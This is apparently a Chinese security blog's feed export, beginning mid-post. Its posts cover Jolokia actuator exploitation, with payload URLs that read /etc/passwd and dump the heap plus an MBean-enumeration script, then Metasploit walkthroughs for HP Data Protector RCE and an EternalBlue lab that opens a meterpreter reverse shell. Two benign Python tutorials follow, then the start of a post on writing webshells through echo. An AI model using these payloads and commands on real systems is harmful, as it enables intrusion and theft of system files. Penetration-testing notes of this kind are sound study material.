<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">/actuator/jolokia/exec/com.sun.management:type=DiagnosticCommand/vmUnlockCommercialFeatures/</span><br></pre></td></tr></table></figure>
<p><img data-src="/2023/04/25/Jolokia%E5%88%A9%E7%94%A8%E8%AE%B0%E5%BD%95/2023-04-25-13-33-06.png"></p>
<p>那么,哪些可以<code>read</code>,哪些可以<code>exec</code>呢?</p>
<p>我们可以观察<code>list</code>列出的MBeans字典,<code>attr</code>里面的都可以<code>read</code>、<code>write</code>,<code>op</code>里面的方法都可以<code>exec</code><br><img data-src="/2023/04/25/Jolokia%E5%88%A9%E7%94%A8%E8%AE%B0%E5%BD%95/2023-05-03-21-47-37.png"></p>
<p>如果要传递参数,则在后面加斜杠<code>/</code>+<code>参数值</code>,如果参数有<code>/</code>或者<code>!</code>等则需要按下表转义:</p>
<table>
<thead>
<tr>
<th>Escaped</th>
<th>Unescaped</th>
</tr>
</thead>
<tbody><tr>
<td><code>!/</code></td>
<td><code>/</code></td>
</tr>
<tr>
<td><code>!!</code></td>
<td><code>!</code></td>
</tr>
<tr>
<td><code>!"</code></td>
<td><code>"</code></td>
</tr>
<tr>
<td><code>!</code><em>(anything else)</em></td>
<td><em>(anything else)</em></td>
</tr>
</tbody></table>
<p>如:</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">/jolokia/exec/com.sun.management:type=HotSpotDiagnostic/dumpHeap/!/tmp!/a.hprof/0 </span><br></pre></td></tr></table></figure>
<h3 id="一些可能有用的payload"><a href="#一些可能有用的payload" class="headerlink" title="一些可能有用的payload"></a>一些可能有用的payload</h3><figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">/jolokia/read/java.lang:type=Runtime/SystemProperties</span><br><span class="line">/jolokia/read/com.alibaba.druid:type=DruidDataSourceStat/DataSourceList</span><br><span class="line">/jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/!/etc!/passwd</span><br><span class="line">/jolokia/exec/com.sun.management:type=HotSpotDiagnostic/dumpHeap/!/tmp!/a.hprof/0 </span><br></pre></td></tr></table></figure>
<p><img data-src="/2023/04/25/Jolokia%E5%88%A9%E7%94%A8%E8%AE%B0%E5%BD%95/2023-05-03-21-57-34.png"></p>
<h3 id="脚本"><a href="#脚本" class="headerlink" title="脚本"></a>脚本</h3><p>写了个简易脚本去读取所有的attr及执行所有的dump操作,基本上无害,看看能不能发现一些敏感数据:</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> json</span><br><span class="line"></span><br><span class="line">jolokiaurl = <span class="string">'http://xxx/actuator/jolokia'</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">proxies = {}</span><br><span class="line"></span><br><span class="line">proxies = {</span><br><span class="line"> <span class="string">'http'</span>: <span class="string">'http://192.168.1.1:8080'</span>,</span><br><span class="line"> <span class="string">'https'</span>: <span class="string">'http://192.168.1.1:8080'</span></span><br><span class="line">}</span><br><span class="line">headers = {</span><br><span class="line"> <span class="string">'user-agent'</span>: <span class="string">'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 UBrowser/6.1.3397.16 Safari/537.36'</span>}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">getList</span>(<span class="params">url</span>):</span></span><br><span class="line"> turl = url + <span class="string">'list'</span></span><br><span class="line"> r = requests.get(turl)</span><br><span class="line"> <span class="comment"># print(r.json())</span></span><br><span class="line"> <span class="keyword">return</span> r.json()[<span class="string">'value'</span>]</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">parserList</span>(<span class="params">jolokia_list, jolokiaurl</span>):</span></span><br><span class="line"> <span class="keyword">for</span> j_class <span class="keyword">in</span> jolokia_list:</span><br><span class="line"> <span class="keyword">for</span> j_type <span class="keyword">in</span> jolokia_list[j_class]:</span><br><span class="line"> <span class="keyword">if</span> <span class="string">'op'</span> <span class="keyword">in</span> jolokia_list[j_class][j_type]:</span><br><span class="line"> <span class="keyword">for</span> j_op <span class="keyword">in</span> jolokia_list[j_class][j_type][<span class="string">'op'</span>]:</span><br><span class="line"> <span class="keyword">if</span> j_op == <span class="string">'dump'</span>:</span><br><span class="line"> url = <span class="string">f"<span class="subst">{jolokiaurl}</span>exec/<span class="subst">{j_class}</span>:<span class="subst">{j_type}</span>/<span class="subst">{j_op}</span>"</span></span><br><span class="line"> r = requests.get(url, proxies=proxies, headers=headers)</span><br><span class="line"> <span class="built_in">print</span>(r.text)</span><br><span class="line"> <span class="keyword">if</span> <span class="string">'attr'</span> <span class="keyword">in</span> jolokia_list[j_class][j_type]:</span><br><span class="line"> <span class="keyword">for</span> j_attr <span class="keyword">in</span> jolokia_list[j_class][j_type][<span class="string">'attr'</span>]:</span><br><span class="line"> url = <span class="string">f"<span class="subst">{jolokiaurl}</span>read/<span class="subst">{j_class}</span>:<span class="subst">{j_type}</span>/<span class="subst">{j_attr}</span>"</span></span><br><span class="line"> <span class="built_in">print</span>(url)</span><br><span class="line"> r = requests.get(url, proxies=proxies, headers=headers)</span><br><span class="line"> <span class="built_in">print</span>(r.text)</span><br><span class="line"> </span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">main</span>():</span></span><br><span class="line"> <span class="keyword">global</span> jolokiaurl</span><br><span class="line"> <span class="keyword">if</span> <span class="string">'/'</span> != jolokiaurl[-<span class="number">1</span>:]:</span><br><span class="line"> jolokiaurl += <span class="string">'/'</span></span><br><span class="line"> <span class="comment"># print(jolokiaurl)</span></span><br><span class="line"> jolokia_list = getList(jolokiaurl)</span><br><span class="line"> parserList(jolokia_list, jolokiaurl)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">"__main__"</span>:</span><br><span class="line"> main()</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h3 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h3><p>以上仅是个人不太深入的经验总结,欢迎批评指正。授人以鱼不如授人以渔,大家可根据对应的<code>list</code>结果查找可利用的MBean。</p>
<h3 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h3><p><a href="https://jolokia.org/reference/html/protocol.html#jolokia-operations">https://jolokia.org/reference/html/protocol.html#jolokia-operations</a><br><a href="https://thinkloveshare.com/hacking/ssrf_to_rce_with_jolokia_and_mbeans/">https://thinkloveshare.com/hacking/ssrf_to_rce_with_jolokia_and_mbeans/</a><br><a href="https://wiki.96.mk/Web%E5%AE%89%E5%85%A8/Jolokia/%EF%BC%88CVE-2018-1000130%EF%BC%89Jolokia%20%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/">https://wiki.96.mk/Web%E5%AE%89%E5%85%A8/Jolokia/%EF%BC%88CVE-2018-1000130%EF%BC%89Jolokia%20%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/</a><br><a href="https://www.hacking8.com/bug-product/Spring-Boot/Spring-Boot-Actuator-jolokia-%E9%85%8D%E7%BD%AE%E4%B8%8D%E5%BD%93%E5%AF%BC%E8%87%B4%E7%9A%84rce%E6%BC%8F%E6%B4%9E.html">https://www.hacking8.com/bug-product/Spring-Boot/Spring-Boot-Actuator-jolokia-%E9%85%8D%E7%BD%AE%E4%B8%8D%E5%BD%93%E5%AF%BC%E8%87%B4%E7%9A%84rce%E6%BC%8F%E6%B4%9E.html</a></p>
]]></content>
<categories>
<category>漏洞</category>
</categories>
<tags>
<tag>漏洞</tag>
</tags>
</entry>
<entry>
<title>HP Data Protector漏洞利用记录</title>
<url>/2019/09/03/HP-Data-Protector%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E8%AE%B0%E5%BD%95/</url>
<content><![CDATA[<p><strong>本文仅作为技术讨论及分享,严禁用于任何非法用途。</strong></p>
<h3 id="HP-Data-Protector远程命令执行(CVE-2011-0923)"><a href="#HP-Data-Protector远程命令执行(CVE-2011-0923)" class="headerlink" title="HP Data Protector远程命令执行(CVE-2011-0923)"></a>HP Data Protector远程命令执行(CVE-2011-0923)</h3><p>HP Data Protector存在一个命令执行漏洞,恶意用户可以发送数据包导致这种特殊的服务来执行任意shell命令。这个漏洞在内网中很常见,端口为TCP<code>5555</code>,基本上一打一个准,这里说下利用过程,以作记录。</p>
<h3 id="正常利用过程"><a href="#正常利用过程" class="headerlink" title="正常利用过程"></a>正常利用过程</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">msf5 > use exploit/linux/misc/hp_data_protector_cmd_exec</span><br><span class="line">msf5 exploit(linux/misc/hp_data_protector_cmd_exec) > <span class="built_in">set</span> rhosts 1.1.1.1</span><br><span class="line">msf5 exploit(linux/misc/hp_data_protector_cmd_exec) > exploit</span><br></pre></td></tr></table></figure>
<p><img data-src="/2019/09/03/HP-Data-Protector%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E8%AE%B0%E5%BD%95/2020-08-20-17-40-26.png"></p>
<a id="more"></a>
<h3 id="网络受限情况下的利用过程"><a href="#网络受限情况下的利用过程" class="headerlink" title="网络受限情况下的利用过程"></a>网络受限情况下的利用过程</h3><p>某些特殊受限网络情况下,无法连接<code>Bind Shell</code>或者<code>Reverse Shell</code>,可以使用<code>cmd/unix/generic</code>这个<code>payload</code>执行命令并获取回显。</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">msf5 > use exploit/linux/misc/hp_data_protector_cmd_exec</span><br><span class="line">msf5 exploit(linux/misc/hp_data_protector_cmd_exec) > <span class="built_in">set</span> rhosts 1.1.1.1</span><br><span class="line">msf5 exploit(linux/misc/hp_data_protector_cmd_exec) > <span class="built_in">set</span> payload cmd/unix/generic </span><br><span class="line">msf5 exploit(linux/misc/hp_data_protector_cmd_exec) > <span class="built_in">set</span> cmd whoami</span><br><span class="line">msf5 exploit(linux/misc/hp_data_protector_cmd_exec) > exploit</span><br></pre></td></tr></table></figure>
<p><img data-src="/2019/09/03/HP-Data-Protector%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E8%AE%B0%E5%BD%95/2020-08-20-17-41-18.png"></p>
<h3 id="修复建议"><a href="#修复建议" class="headerlink" title="修复建议"></a>修复建议</h3><ol>
<li>升级Data Protector到A.06.20 或更高版本</li>
<li>对服务启用加密</li>
<li>参考:<br><a href="http://www.zerodayinitiative.com/advisories/ZDI-11-055/">http://www.zerodayinitiative.com/advisories/ZDI-11-055/</a><br><a href="http://seclists.org/bugtraq/2011/Feb/73">http://seclists.org/bugtraq/2011/Feb/73</a><br><a href="http://www.nessus.org/u?6ca03389">http://www.nessus.org/u?6ca03389</a></li>
</ol>
]]></content>
<categories>
<category>漏洞</category>
</categories>
<tags>
<tag>渗透测试</tag>
<tag>漏洞</tag>
</tags>
</entry>
<entry>
<title>Metasploit利用Eternalblue-Doublepulsar</title>
<url>/2019/08/16/Metasploit%E5%88%A9%E7%94%A8Eternalblue-Doublepulsar/</url>
<content><![CDATA[<p><strong>本文仅作为技术讨论及分享,严禁用于任何非法用途。</strong></p>
<h3 id="警告"><a href="#警告" class="headerlink" title="警告"></a>警告</h3><p>本文无任何技术水平,仅用来记录一次<code>Eternalblue-Doublepulsar</code>利用过程,作笔记使用。</p>
<h3 id="环境介绍"><a href="#环境介绍" class="headerlink" title="环境介绍"></a>环境介绍</h3><p>本次实验在虚拟机中进行,攻击机与靶机位于同一局域网内。<br>攻击机:<code>Kali Linux</code>(IP:<code>192.168.200.130</code>)<br>靶机:<code>Windows 7 x64</code>(IP:<code>192.168.200.142</code>)</p>
<a id="more"></a>
<h3 id="安装"><a href="#安装" class="headerlink" title="安装"></a>安装</h3><p>下载<code>Eternalblue-Doublepulsar</code>到<code>/root</code>目录,这里最好不要改,因为工具里面配置的默认目录就是这个目录,改了的话相应的也要在<code>msf</code>里面改<code>DOUBLEPULSARPATH</code>、<code>ETERNALBLUEPATH</code>这两个变量</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cd</span> /root</span><br><span class="line">git <span class="built_in">clone</span> https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git</span><br></pre></td></tr></table></figure>
<p>复制<code>eternalblue_doublepulsar.rb</code>到<code>/usr/share/metasploit-framework/modules/exploits/windows/smb/</code>目录</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cd</span> Eternalblue-Doublepulsar-Metasploit/</span><br><span class="line">cp eternalblue_doublepulsar.rb /usr/share/metasploit-framework/modules/exploits/windows/smb/</span><br></pre></td></tr></table></figure>
<p>安装依赖</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">dpkg --add-architecture i386 && apt-get update && apt-get install wine32 --fix-missing</span><br></pre></td></tr></table></figure>
<p>创建<code>.wine/drive_c</code>目录,这里不创建的话后面<code>msf</code>利用漏洞时会出现目录不存在错误</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">mkdir -p /root/.wine/drive_c</span><br></pre></td></tr></table></figure>
<h3 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h3><p>启动<code>msfconsole</code>,如果你已经启动了,可以使用<code>reload_all</code>重新加载<code>msf</code>模块来引入刚下载的模块</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">msfconsole</span><br></pre></td></tr></table></figure>
<p>使用漏洞利用模块,值得注意的一点是需要设置<code>PROCESSINJECT</code>这一变量值,在本次实验中,使用默认值并没有成功,修改<code>PROCESSINJECT</code>为<code>explorer.exe</code>成功拿到<code>meterpreter shell</code></p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">use exploit/windows/smb/eternalblue_doublepulsar</span><br><span class="line"><span class="built_in">set</span> rhost 192.168.200.142</span><br><span class="line"><span class="built_in">set</span> payload windows/x64/meterpreter/reverse_tcp</span><br><span class="line"><span class="built_in">set</span> lhost 192.168.200.130</span><br><span class="line"><span class="built_in">set</span> PROCESSINJECT explorer.exe</span><br><span class="line">run</span><br></pre></td></tr></table></figure>
<p><img data-src="/2019/08/16/Metasploit%E5%88%A9%E7%94%A8Eternalblue-Doublepulsar/2020-08-20-17-36-14.png"><br><img data-src="/2019/08/16/Metasploit%E5%88%A9%E7%94%A8Eternalblue-Doublepulsar/2020-08-20-17-36-34.png"><br><img data-src="/2019/08/16/Metasploit%E5%88%A9%E7%94%A8Eternalblue-Doublepulsar/2020-08-20-17-36-40.png"><br><img data-src="/2019/08/16/Metasploit%E5%88%A9%E7%94%A8Eternalblue-Doublepulsar/2020-08-20-17-36-47.png"></p>
<h3 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h3><p><a href="https://laucyun.com/a6cb3c752b0fc10f0a9eeef01f7a5f76.html">通过Metasploit实现对MS17-010漏洞的利用</a></p>
]]></content>
<categories>
<category>渗透测试</category>
</categories>
<tags>
<tag>渗透测试</tag>
</tags>
</entry>
<entry>
<title>Python读取Excel合并单元格</title>
<url>/2020/04/01/Python%E8%AF%BB%E5%8F%96Excel%E5%90%88%E5%B9%B6%E5%8D%95%E5%85%83%E6%A0%BC/</url>
<content><![CDATA[<h3 id="概述"><a href="#概述" class="headerlink" title="概述"></a>概述</h3><p>Python 读取Excel合并单元格时,被合并的单元格读出来可能是空值,比如下图中单元格”A3”读取出来的值为空,而我们希望它是”A”。<br><img data-src="/2020/04/01/Python%E8%AF%BB%E5%8F%96Excel%E5%90%88%E5%B9%B6%E5%8D%95%E5%85%83%E6%A0%BC/2020-08-20-19-12-27.png"></p>
<h3 id="环境"><a href="#环境" class="headerlink" title="环境"></a>环境</h3><ul>
<li>Python 3</li>
<li>xlrd==1.2.0</li>
</ul>
<h3 id="方法"><a href="#方法" class="headerlink" title="方法"></a>方法</h3><p>xlrd提供了<code>sheet.merged_cells</code>用于获取页面中所有的合并单元格坐标。类似:</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">[(<span class="number">1</span>, <span class="number">4</span>, <span class="number">0</span>, <span class="number">1</span>)]</span><br></pre></td></tr></table></figure>
<a id="more"></a>
<p>坐标从0开始算起,代表第1行到第4行(不包含4),第0列到第一列(不包含1)为合并单元格。</p>
<p>这里有一个点要注意,xlrd官方说明中,需要在<code>open_workbook</code>时传入<code>formatting_info=True</code>,如果未设置此选项,获取到的合并单元格坐标为空,这点是很多文章没有提到的,可能是版本的变更问题:<br><img data-src="/2020/04/01/Python%E8%AF%BB%E5%8F%96Excel%E5%90%88%E5%B9%B6%E5%8D%95%E5%85%83%E6%A0%BC/2020-08-20-19-14-52.png"></p>
<p>示例代码:</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> xlrd</span><br><span class="line">wb = xlrd.open_workbook(<span class="string">'test.xls'</span>, formatting_info=<span class="literal">True</span>)</span><br><span class="line">sheet = wb.sheet_by_name(<span class="string">'Sheet1'</span>)</span><br><span class="line">mc = sheet.merged_cells</span><br><span class="line"><span class="built_in">print</span>(mc)</span><br></pre></td></tr></table></figure>
<p>结果输出:</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">[(<span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>, <span class="number">2</span>)]</span><br></pre></td></tr></table></figure>
<h3 id="完整代码"><a href="#完整代码" class="headerlink" title="完整代码"></a>完整代码</h3><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> xlrd</span><br><span class="line"><span class="keyword">from</span> openpyxl <span class="keyword">import</span> Workbook</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get_merged_cells_value</span>(<span class="params">sheet, row_index, col_index</span>):</span></span><br><span class="line"> <span class="string">"""</span></span><br><span class="line"><span class="string"> 判断单元格是否为合并单元格,是则返回合并单元格的值,否则返回None</span></span><br><span class="line"><span class="string"> """</span></span><br><span class="line"> merged_cells = sheet.merged_cells</span><br><span class="line"> <span class="keyword">for</span> rlo, rhi, clo, chi <span class="keyword">in</span> merged_cells:</span><br><span class="line"> <span class="comment"># 判断行下标是否在合并单元格范围内</span></span><br><span class="line"> <span class="keyword">if</span> row_index <span class="keyword">in</span> <span class="built_in">range</span>(rlo, rhi):</span><br><span class="line"> <span class="comment"># 判断列下标是否在合并单元格范围内</span></span><br><span class="line"> <span class="keyword">if</span> col_index <span class="keyword">in</span> <span class="built_in">range</span>(clo, chi):</span><br><span class="line"> <span class="comment"># 返回单元格值</span></span><br><span class="line"> <span class="keyword">return</span> sheet.cell_value(rlo, clo)</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">main</span>():</span></span><br><span class="line"> <span class="comment"># 打开Excel</span></span><br><span class="line"> wb = xlrd.open_workbook(<span class="string">'test.xls'</span>, formatting_info=<span class="literal">True</span>)</span><br><span class="line"> <span class="comment"># 指定工作表</span></span><br><span class="line"> sheet = wb.sheet_by_name(<span class="string">'Sheet2'</span>)</span><br><span class="line"> <span class="comment"># 获取总行数</span></span><br><span class="line"> rows_num = sheet.nrows</span><br><span class="line"> <span class="comment"># 获取总列数</span></span><br><span class="line"> cols_num = sheet.ncols</span><br><span class="line"> <span class="comment"># 遍历行</span></span><br><span class="line"> <span class="keyword">for</span> ri <span class="keyword">in</span> <span class="built_in">range</span>(rows_num):</span><br><span class="line"> row = sheet.row_values(ri)</span><br><span class="line"> <span class="comment"># 遍历列</span></span><br><span class="line"> <span class="keyword">for</span> ci <span class="keyword">in</span> <span class="built_in">range</span>(cols_num):</span><br><span class="line"> <span class="comment"># 获取合并单元格值,不是合并单元格的返回None</span></span><br><span class="line"> merged_cell_value = get_merged_cells_value(sheet, ri, ci)</span><br><span class="line"> <span class="comment"># 判断单元格是否在合并单元格清单中,是的话则返回正确的单元格值</span></span><br><span class="line"> <span class="keyword">if</span> merged_cell_value:</span><br><span class="line"> <span class="comment"># 修改行中合并单元格值为正确值</span></span><br><span class="line"> row[ci] = merged_cell_value</span><br><span class="line"> <span class="comment"># 打印列结果</span></span><br><span class="line"> <span class="built_in">print</span>(row)</span><br><span class="line"> <span class="comment"># 后面的根据实际需要进行加工</span></span><br><span class="line"> <span class="keyword">pass</span></span><br><span class="line"> </span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">"__main__"</span>:</span><br><span class="line"> main()</span><br></pre></td></tr></table></figure>
<h3 id="结果输出"><a href="#结果输出" class="headerlink" title="结果输出"></a>结果输出</h3><figure class="highlight python"><table><tr><td class="code"><pre><span class="line">[<span class="string">'列1'</span>, <span class="string">'列2'</span>, <span class="string">'列3'</span>]</span><br><span class="line">[<span class="string">'A'</span>, <span class="number">1.0</span>, <span class="number">4.0</span>]</span><br><span class="line">[<span class="string">'A'</span>, <span class="number">2.0</span>, <span class="number">5.0</span>]</span><br><span class="line">[<span class="string">'A'</span>, <span class="number">3.0</span>, <span class="number">6.0</span>]</span><br></pre></td></tr></table></figure>
<h3 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h3><p><a href="https://xlrd.readthedocs.io/en/latest/api.html?highlight=merged_cells#xlrd.sheet.Sheet.merged_cells">xlrd官方文档</a><br><a href="https://www.jianshu.com/p/24a693fff4a3">python3读取Excel(包含合并单元格)</a></p>
]]></content>
<categories>
<category>Python</category>
</categories>
<tags>
<tag>Python</tag>
</tags>
</entry>
<entry>
<title>Python常用代码备忘</title>
<url>/2019/09/16/Python%E5%B8%B8%E7%94%A8%E4%BB%A3%E7%A0%81%E5%A4%87%E5%BF%98/</url>
<content><![CDATA[<h3 id="Python常用代码备忘"><a href="#Python常用代码备忘" class="headerlink" title="Python常用代码备忘"></a>Python常用代码备忘</h3><ol start="0">
<li><p>使用清华pip源安装软件</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">pip3 install jupyter -i https://pypi.tuna.tsinghua.edu.cn/simple/</span><br></pre></td></tr></table></figure></li>
<li><p>去除HTTP协议头,<code>http://baidu.com</code>-><code>baidu.com</code></p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">domain = re.sub(<span class="string">'https?://'</span>, <span class="string">''</span>, domain, flags=re.IGNORECASE)</span><br></pre></td></tr></table></figure></li>
<li><p>把字符串内多个空格合并成一个空格,<code>' '</code>-><code>' '</code></p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">line = re.sub(<span class="string">' +'</span>, <span class="string">' '</span>, line)</span><br></pre></td></tr></table></figure>
<a id="more"></a></li>
<li><p>超大文件读取, 超大文件读取使用fileinput,会逐行读取,而readlines会一次读完导致内存爆炸</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment"># def read_ip_history_file(filename):</span></span><br><span class="line"><span class="comment"># with open(filename, 'r', encoding='utf-8') as f:</span></span><br><span class="line"><span class="comment"># for line in f.readlines():</span></span><br><span class="line"><span class="comment"># line = line.strip()</span></span><br><span class="line"><span class="comment"># yield line</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">read_ip_history_file</span>(<span class="params">filename</span>):</span></span><br><span class="line"> <span class="keyword">for</span> line <span class="keyword">in</span> fileinput.<span class="built_in">input</span>([filename], openhook = fileinput.hook_encoded(<span class="string">"utf-8"</span>)):</span><br><span class="line"> <span class="keyword">yield</span> line</span><br><span class="line"> <span class="comment"># 或者</span></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">read_ip_history_file</span>(<span class="params">filename</span>):</span></span><br><span class="line"> <span class="keyword">with</span> <span class="built_in">open</span>(filename, <span class="string">'r'</span>, encoding=<span class="string">'utf-8'</span>) <span class="keyword">as</span> f:</span><br><span class="line"> <span class="keyword">for</span> line <span class="keyword">in</span> f:</span><br><span class="line"> line = line.strip()</span><br><span class="line"> <span class="keyword">yield</span> line</span><br></pre></td></tr></table></figure>
</li>
<li><p>日期转换</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 字符串格式化为日期对象</span></span><br><span class="line">mail_date = <span class="string">'2019-09-29 04:55:46'</span></span><br><span class="line">strdate = datetime.datetime.strptime(mail_date, <span class="string">'%Y-%m-%d %H:%M:%S'</span>)</span><br><span class="line"><span class="comment"># 日期对象格式化为字符串对象</span></span><br><span class="line">strdate.strftime(<span class="string">'%Y%m%d'</span>)</span><br></pre></td></tr></table></figure></li>
<li><p>子线程随父线程退出</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">write_flag_task = Thread(target=saveFlag, args=(LOG_FILE_NAME, ))</span><br><span class="line"><span class="comment"># 子线程随父进程退出</span></span><br><span class="line">write_flag_task.setDaemon(<span class="literal">True</span>)</span><br><span class="line">write_flag_task.start()</span><br></pre></td></tr></table></figure></li>
<li><p>拼接脚本依赖文件的绝对路径。比如:脚本依赖一个数据库文件,未防止他人使用脚本时路径异常读不到数据库,需要拼接路径。</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">DBPATH = <span class="string">'123.db'</span></span><br><span class="line">script_path = sys.argv[<span class="number">0</span>]</span><br><span class="line">abs_script_dir, _ = os.path.split(os.path.abspath(script_path))</span><br><span class="line">DBPATH = os.path.join(abs_script_dir, DBPATH)</span><br></pre></td></tr></table></figure></li>
<li><p>提取中文的正则表达式</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">s = <span class="string">'123你好a'</span></span><br><span class="line">re.findall(<span class="string">'[\u4e00-\u9fa5]+'</span>, s)</span><br><span class="line">输出:[<span class="string">'你好'</span>]</span><br></pre></td></tr></table></figure></li>
<li><p>openpyxl 修改Excel的字体样式</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">main_wb = Workbook()</span><br><span class="line">main_sheet = main_wb.active</span><br><span class="line"><span class="comment"># 添加Excel首行标题</span></span><br><span class="line">main_sheet.append(</span><br><span class="line"> <span class="string">'站点URL,站点IP,漏洞名称,漏洞风险值,风险等级,CVE编号,详细描述,解决办法,存在漏洞链接,漏洞验证参数'</span>.split(<span class="string">','</span>))</span><br><span class="line"><span class="comment"># 定义标题字体格式</span></span><br><span class="line">t_font = Font(name=<span class="string">'宋体'</span>, size=<span class="number">12</span>, bold=<span class="literal">True</span>)</span><br><span class="line"><span class="keyword">for</span> row <span class="keyword">in</span> main_sheet.rows:</span><br><span class="line"> <span class="keyword">for</span> cell <span class="keyword">in</span> row:</span><br><span class="line"> cell.font = t_font</span><br><span class="line"> <span class="keyword">break</span></span><br></pre></td></tr></table></figure></li>
<li><p>openpyxl删除行:<br>删除第三行之后的两行,行号从1开始算</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">sheet.delete_rows(<span class="number">3</span>, <span class="number">2</span>) </span><br></pre></td></tr></table></figure>
<p>删除第一列之后的两列,列号从1开始算</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">wk_sheet.delete_cols(<span class="number">1</span>,<span class="number">2</span>)</span><br></pre></td></tr></table></figure>
</li>
</ol>
<h3 id="本文持续更新"><a href="#本文持续更新" class="headerlink" title="本文持续更新"></a>本文持续更新</h3>]]></content>
<categories>
<category>Python</category>
</categories>
<tags>
<tag>Python</tag>
</tags>
</entry>
<entry>
<title>SHELL写文件的几种方式</title>
<url>/2019/08/15/SHELL%E5%86%99%E6%96%87%E4%BB%B6%E7%9A%84%E5%87%A0%E7%A7%8D%E6%96%B9%E5%BC%8F/</url>
<content><![CDATA[<p><strong>本文仅作为技术讨论及分享,严禁用于任何非法用途。</strong></p>
<h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>本文总结了一些通过<code>cmd</code>或者<code>bash</code>等<code>shell</code>写文件的方法,如在某些情况下,拿到了<code>cmd shell</code>或者<code>bash shell</code>,如下图:<br><img data-src="/2019/08/15/SHELL%E5%86%99%E6%96%87%E4%BB%B6%E7%9A%84%E5%87%A0%E7%A7%8D%E6%96%B9%E5%BC%8F/2020-08-20-17-00-21.png"></p>
<p>但是靶机无法上公网和反连攻击机,然后通过<code>echo</code>等方式写<code>shell</code>的方法。受限于本人有限的知识面以及实用性等考量,这里列出的方法并不全面,仅供参考。</p>
<a id="more"></a>
<h3 id="Windows-下写文件"><a href="#Windows-下写文件" class="headerlink" title="Windows 下写文件"></a>Windows 下写文件</h3><h4 id="echo写文件"><a href="#echo写文件" class="headerlink" title="echo写文件"></a>echo写文件</h4><p>这是最原始的方法,比较折腾人。如果你以为只要<code>echo 1 > 1.txt</code>这样写入,就图样了。Windows下的<code>cmd echo</code>写入需要特殊字符转义,如下:</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">< --- ^<</span><br><span class="line">> --- ^></span><br><span class="line">/ --- ^/</span><br><span class="line">+ --- ^+</span><br></pre></td></tr></table></figure>
<p>另外,由于web服务器自动转码<code>URL编码</code>,把原本不是URL编码的字符转码了,导致写入的文件错误,所以还需对下面的字符转码:</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">% --> %25 # --> %23 @ --> %40</span><br><span class="line">+ --> %2b | --> %7c & --> ^%26</span><br></pre></td></tr></table></figure>
